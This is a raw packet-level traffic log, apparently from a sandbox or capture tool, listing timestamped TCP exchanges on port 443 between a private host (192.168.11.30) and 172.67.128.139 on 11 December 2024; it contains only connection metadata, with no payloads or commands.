Dec 11, 2024 12:31:28.227798939 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.228435040 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.228462934 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.228526115 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.228652000 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.228662014 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.228754044 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.229444027 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.229732990 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.229759932 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.229774952 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.229962111 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.337409973 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.337611914 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.337621927 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.337836981 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.338392973 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.338706017 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.339148998 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.339158058 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.339806080 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.339871883 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.339957952 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.339965105 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.340152979 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.340651989 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.340826035 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.340886116 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.340892076 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.340996027 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.341432095 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.341635942 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.341641903 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.341691017 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.341801882 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.341808081 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.341892004 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.342384100 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.342449903 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.342869043 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.342879057 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.343226910 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.343347073 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.343503952 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.343559027 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.343568087 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.343719006 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.344470024 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.344600916 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.344724894 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.344805956 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.344810963 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.344917059 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.390800953 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.451474905 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.451659918 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.451702118 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.451956034 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.452052116 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.452065945 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.452150106 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.452150106 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.452153921 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.452351093 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.452361107 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.452558994 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.452897072 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.453166962 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.453849077 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.454047918 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.454104900 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.454111099 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.454199076 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.454783916 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.454875946 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.455019951 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.455033064 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.455116034 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.455173969 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.455693960 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.455916882 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.455930948 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.455992937 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.456075907 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.456094027 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.456270933 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.457051039 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.457076073 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.457621098 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.457638025 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.457854986 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.457920074 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.458034039 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.458043098 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.458431005 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.458848000 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.458918095 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.459041119 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.459053993 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.459112883 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.459942102 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.459995985 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.460170031 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.460180044 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.460964918 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.460973024 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.460978985 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.461035013 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.461092949 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.461249113 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.461256981 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.461925030 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.461991072 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.462100029 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.462110043 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.462182045 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.464019060 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.464193106 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.464212894 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.464226961 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.464272976 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.464379072 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.465980053 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.466151953 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.466634989 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.466650963 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.467093945 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.467946053 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.467957973 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.468158007 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.468169928 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.468353987 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.469861984 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.469872952 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.470170975 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.470181942 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.470644951 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.472301006 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.472312927 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.472477913 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.472594976 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.472603083 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.472819090 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.474225044 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.474244118 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.474406958 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.474483967 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.474490881 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.474577904 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.474775076 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.502691984 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.502708912 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.502943039 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.502957106 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.503015041 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.503133059 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.566162109 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.566184998 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.566338062 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.566447020 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.566461086 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.566586018 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.566689968 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.567754984 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.567771912 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.567969084 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.567985058 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.568103075 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.568164110 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.569766045 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.569782972 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.569998026 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.570012093 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.570127964 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.570178986 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.571506977 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.571525097 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.571690083 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.571690083 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.571796894 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.571811914 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.572104931 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.573462009 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.573476076 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.573659897 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.573724031 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.573738098 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.573868990 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.574029922 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.580589056 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.580612898 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.580758095 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.580782890 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.580792904 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.580816984 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.580868959 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.580872059 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.581026077 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.581042051 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.581135988 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.581249952 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.581440926 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.581711054 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.581727982 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.581882954 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.582072020 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.582086086 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.583655119 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.583677053 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.583843946 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.583858013 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.583898067 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.584000111 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.586420059 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.586436987 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.586611032 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.586626053 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.586805105 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.588437080 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.588453054 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.588617086 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.588630915 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.588783979 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.588923931 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.590023041 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.590037107 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.590168953 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.590229988 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.590277910 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.590291977 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.590404034 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.592803001 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.592828035 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.593087912 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.593101978 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.593169928 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.594789982 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.594801903 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.594974995 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.594990015 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.595062971 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.595228910 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.596693039 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.596705914 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.596884012 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.596884012 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.597038984 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.597038984 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.597053051 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.598592043 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.598608017 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.598850012 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.598864079 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.598956108 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.601033926 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.601046085 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.601238966 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.601253986 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.601298094 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.601481915 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.603002071 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.603014946 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.603187084 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.603348017 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.603348017 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.603363037 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.604922056 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.604937077 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.605078936 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.605093002 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.605165005 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.605261087 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.606867075 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.606879950 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.607033014 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.607244015 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.607258081 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.608901024 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.608916044 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.609055996 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.609071016 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.609139919 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.609251022 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.611243010 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.611257076 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.611435890 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.611546993 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.611561060 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.613147974 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.613163948 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.613360882 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.613374949 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.613507032 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.615092039 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.615103960 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.615242958 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.615258932 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.615443945 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.617403984 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.617418051 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.617630959 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.617645025 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.617748022 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.619291067 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.619318962 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.619443893 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.619467974 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.619653940 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.681215048 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.681246996 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.681478977 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.681526899 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.681544065 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.681688070 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.683463097 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.683547974 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.683645964 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.683733940 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.683759928 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.683784008 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.684015036 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.685448885 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.685503006 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.685645103 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.685684919 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.685703993 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.685827971 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.687402964 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.687463999 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.687561035 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.687684059 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.687736034 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.688013077 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.689651012 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.689718008 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.689994097 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.690030098 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.690273046 CET	49768	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:31:28.691589117 CET	443	49768	172.67.128.139	192.168.11.30
Dec 11, 2024 12:31:28.691651106 CET	443	49768	172.67.128.139	192.168.11.30
